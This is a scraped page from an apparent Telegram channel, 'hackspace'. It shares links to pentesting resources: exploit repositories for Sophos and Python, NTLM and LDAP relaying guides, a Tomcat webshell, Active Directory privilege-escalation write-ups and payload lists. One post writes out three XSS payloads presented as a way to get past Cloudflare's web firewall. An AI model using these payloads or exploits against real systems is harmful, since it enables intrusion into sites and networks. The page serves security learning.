NEW BOT Телеграм, страница - 333946284

hackspace

157 subscribers

279 photos

75 videos

24 files

999 links

hackspace

Download Telegram

About

Blog

Apps

Platform

157 subscribers

https://github.com/cve-hunter/CVE-2022-1040-sophos-rce

64 views04:13

https://github.com/vulhub/vulhub

GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

Pre-Built Vulnerable Environments Based on Docker-Compose - vulhub/vulhub

67 views07:50

https://pwn.win/2022/05/11/python-buffered-reader.html

Exploiting a Use-After-Free for code execution in every version of Python 3

A while ago I was browsing the Python bug tracker, and I stumbled upon this bug - “memoryview to freed memory can cause segfault”. It was created in 2012, originally present in Python 2.7, but remains open to this day, 10 years later. This piqued my interest…

42 views11:08

https://github.com/kn32/python-buffered-reader-exploit/blob/master/exploit.py

python-buffered-reader-exploit/exploit.py at master · kn32/python-buffered-reader-exploit

Portable exploit for Use-After-Free in every version of Python 3 - kn32/python-buffered-reader-exploit

47 views11:08

We Love Relaying Credentials: A Technical Guide to Relaying Credentials Everywhere – SecureAuth
https://www.secureauth.com/blog/we-love-relaying-credentials-a-technical-guide-to-relaying-credentials-everywhere/?utm_source=Twitter&utm_medium=Unpaid&utm_campaign=blog-weLoveRelayingCredentials

We Love Relaying Credentials: A Technical Guide to Relaying Credentials Everywhere

NTLM relay is a well-known technique that has been with us for many years and never seems to go away.

👍1

52 views07:38

https://pyautogui.readthedocs.io/en/latest/

47 views11:01

https://github.com/p0dalirius/Tomcat-application-webshell

GitHub - p0dalirius/Tomcat-webshell-application: A webshell application and interactive shell for pentesting Apache Tomcat servers.

A webshell application and interactive shell for pentesting Apache Tomcat servers. - p0dalirius/Tomcat-webshell-application

49 views18:14

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)

In this blog post, we’ll dive into a recently patched Active Directory Domain Privilege Escalation vulnerability that I reported through…

51 views05:13

Akamai Blog | Critical Remote Code Execution Vulnerabilities in Windows RPC Runtime
https://www.akamai.com/blog/security/critical-remote-code-execution-vulnerabilities-windows-rpc-runtime

Remote Code Execution Vulnerabilities in RPC | Akamai Blog | Akamai

Microsoft’s April 2022 Patch Tuesday introduced patches to more than a hundred new vulnerabilities in various components. Three critical vulnerabilities were found and patched in Windows RPC (Remote Procedure Call) runtime:
CVE-2022-24492 and CVE-2022-24528…

57 views11:55

57 views08:14

https://unit42.paloaltonetworks.com/emotet-malware-summary-epoch-4-5/

Emotet Summary: November 2021 Through January 2022

We review recent activity from the Emotet malware family, covering changes in Emotet operations since its revival in November 2021.

58 views22:49

How to Exploit Active Directory ACL Attack Paths Through LDAP Relaying Attacks - Praetorian
https://www.praetorian.com/blog/how-to-exploit-active-directory-acl-attack-paths-through-ldap-relaying-attacks/

How to Exploit Active Directory ACL Attack Paths Through LDAP Relaying Attacks

Overview This article describes methods by which an attacker can induce a victim user into authenticating using the NT Lan Manager (NTLM) Authentication Protocol to an attacker-controlled “Intranet” site, even in instances where that site points to an external…

72 views23:42

👍1

75 views04:05

GitHub - payloadbox/sql-injection-payload-list: 🎯 SQL Injection Payload List
https://github.com/payloadbox/sql-injection-payload-list

69 views20:33

Some Cloudflare's latest XSS Bypass:

XSS"><body %00 onControl hello onmouseleave=confirm(domain) x>XSS

XSS"><html><select %00 onControl onpointerenter=prompt(domain) hello>

XSS"><input %00 onControl hello oninput=confirm(domain) x>

55 views08:21

https://github.com/R3dy/capsulecorp-pentest

GitHub - R3dy/capsulecorp-pentest: Vagrant VirtualBox environment for conducting an internal network penetration test

Vagrant VirtualBox environment for conducting an internal network penetration test - R3dy/capsulecorp-pentest

55 views04:48

Pentesting_Active_directory - XMind - Mind Mapping Software
https://www.xmind.net/m/5dypm8/

👍1

75 views20:18

GitHub - epi052/feroxbuster: A fast, simple, recursive content discovery tool written in Rust.
https://github.com/epi052/feroxbuster

GitHub - epi052/feroxbuster: A fast, simple, recursive content discovery tool written in Rust.

A fast, simple, recursive content discovery tool written in Rust. - epi052/feroxbuster

63 views20:23

https://github.com/RistBS/Awesome-RedTeam-Cheatsheet

GitHub - RistBS/Awesome-RedTeam-Cheatsheet: Red Team Cheatsheet in constant expansion.

Red Team Cheatsheet in constant expansion. Contribute to RistBS/Awesome-RedTeam-Cheatsheet development by creating an account on GitHub.

56 views11:59

https://gist.github.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb

From RPC to RCE - Workstation Takeover via RBCD and MS-RPChoose-Your-Own-Adventure

From RPC to RCE - Workstation Takeover via RBCD and MS-RPChoose-Your-Own-Adventure - Workstation-Takeover.md

47 views09:52

Best search 🔎 engines for Pentesters and Security Professionals.

→ google .com
→ Shodan .io
→ Censys .io
→ Hunter .io
→ redhuntlabs .com
→ fullhunt .io
→ onyphe .io
→ fofa .so
→ socradar .io
→ synapsint .com
→ binaryedge .io
→ ivre .rocks
→ crt .sh
→ spyse .com
→ vulners .com
→ PublicWWW .com
→ Pulsedive .com
→ ZoomEye .org
→ intelx .io
→ WiGLE .net
→ reposify .com
→ viz. greynoise .io

68 views12:21